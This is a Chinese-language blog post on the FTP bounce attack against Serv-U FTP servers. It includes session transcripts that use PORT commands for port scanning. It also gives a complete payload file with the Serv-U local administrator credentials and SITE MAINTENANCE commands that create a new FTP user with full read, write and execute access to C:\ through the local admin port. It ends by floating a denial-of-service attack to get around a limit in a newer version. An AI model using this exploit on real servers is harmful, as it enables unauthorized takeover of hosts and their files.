Author:lake2 ( http://lake2.0x54.org )
FTP反弹攻击(FTP Bounce Attack)是很古老的技术了,居然能在我们的信息安全教材上找得到介绍,可见其确实年代久远。
所谓FTP反弹攻击就是利用FTP协议的PORT命令将数据发送到第三方,这样就可以利用FTP服务器实现对其他机器的端口扫描和发送数据了。由于这种攻击的存在,所以FTP服务器一般都限制了PORT命令的ip地址为客户端ip且端口大于1024。
现在比较流行的FTP软件Serv-U默认情况下(似乎?)却没有限制FTP Bounce攻击,造成安全隐患。
以下是对有限制的Serv-U进行反弹攻击:
220-欢迎光临lake2的blog
user lake2
331 User name okay, need password.
pass xxxxxxxxx
230 User logged in, proceed.
port 127,0,0,1,171,182
530 Only client IP address allowed for PORT command.
失败了,因为管理员在设置那里勾上了“拦截FTP Bounce攻击”。
但是,一些Serv-U却可以实现反弹(默认情况下没有阻止FTP Bounce):
220-欢迎使用本虚拟主机.
user 0x54.org
331 User name okay, need password.
pass xxxxxxxxxxxx
230 User logged in, proceed.
port 127,0,0,1,171,182
200 PORT Command successful.
list
150 Opening ASCII mode data connection for /bin/ls.
226-Maximum disk quota limited to 204800 kBytes
Used disk quota 81766 kBytes, available 123033 kBytes
226 Transfer complete.
port 127,0,0,1,171,183
200 PORT Command successful.
list
150 Opening ASCII mode data connection for /bin/ls.
426-Maximum disk quota limited to 204800 kBytes
Used disk quota 81766 kBytes, available 123033 kBytes
426 Data connection closed, transfer aborted.
命令“port 127,0,0,1,171,182”就是把数据发送到FTP服务器的43958(171*256+182=43958)端口,因为该端口是开放的,所以数据发送成功;第二次把数据发送到43959端口,该端口关闭,所以发送失败。根据返回的结果,就实现了端口扫描(由于限制,只能扫描大于1024的端口)。大名鼎鼎的扫描器NMAP就有利用FTP反弹实现端口扫描的功能。
利用反弹攻击也可以发送任意数据,把要发送的数据写到文件中然后RETR就行了。既然可以发送任意数据,当然包括向43958端口发送添加有执行权限的FTP用户的命令咯。这真是个令人兴奋的主意。
以下内容保存为test.txt并传到FTP根目录:
user LocalAdministrator
Pass #l@$ak#.lk;0@P
SITE MAINTENANCE
-SETUSERSETUP
-IP=0.0.0.0
-PortNo=21
-User=lake
-Password=admin123
-HomeDir=c: -LoginMesFile=
-Disable=0
-RelPaths=1
-NeedSecure=0
-HideHidden=0
-AlwaysAllowLogin=0
-ChangePassword=0
-QuotaEnable=0
-MaxUsersLoginPerIP=-1
-SpeedLimitUp=0
-SpeedLimitDown=0
-MaxNrUsers=-1
-IdleTimeOut=600
-SessionTimeOut=-1
-Expire=0
-RatioUp=1
-RatioDown=1
-RatiosCredit=0
-QuotaCurrent=0
-QuotaMaximum=0
-Maintenance=None
-PasswordType=Regular
-Ratios=None
Access=c:\|RWAMELCDP
然后retr test.txt,添加用户的数据就发过去了。
每次都莫名其妙的添加失败,后来试验多次才发现是由于数据发送太快43958端口那边还没来得及响应连接就就关闭了。解决办法是在test.txt文件前面添加许多无用数据,当文件达到1M多的时候,哈哈,成功了!
以上是在5.2版本的情况,但在6.3版本上,情况不妙,43958端口限制了接收数据大小,几十K都不行了,何况一个1M的大文件呢。
这个地方一直没想到好的解决办法,似乎有两点思路供参考:
1、 上传/下载大文件,降低其处理速度
2、 对FTP服务器进行拒绝服务攻击,消耗资源降低处理速度
以上只是猜想没有去实践,姑且叫“lake2猜想”吧,谁把它解决了,我请吃饭哦^_^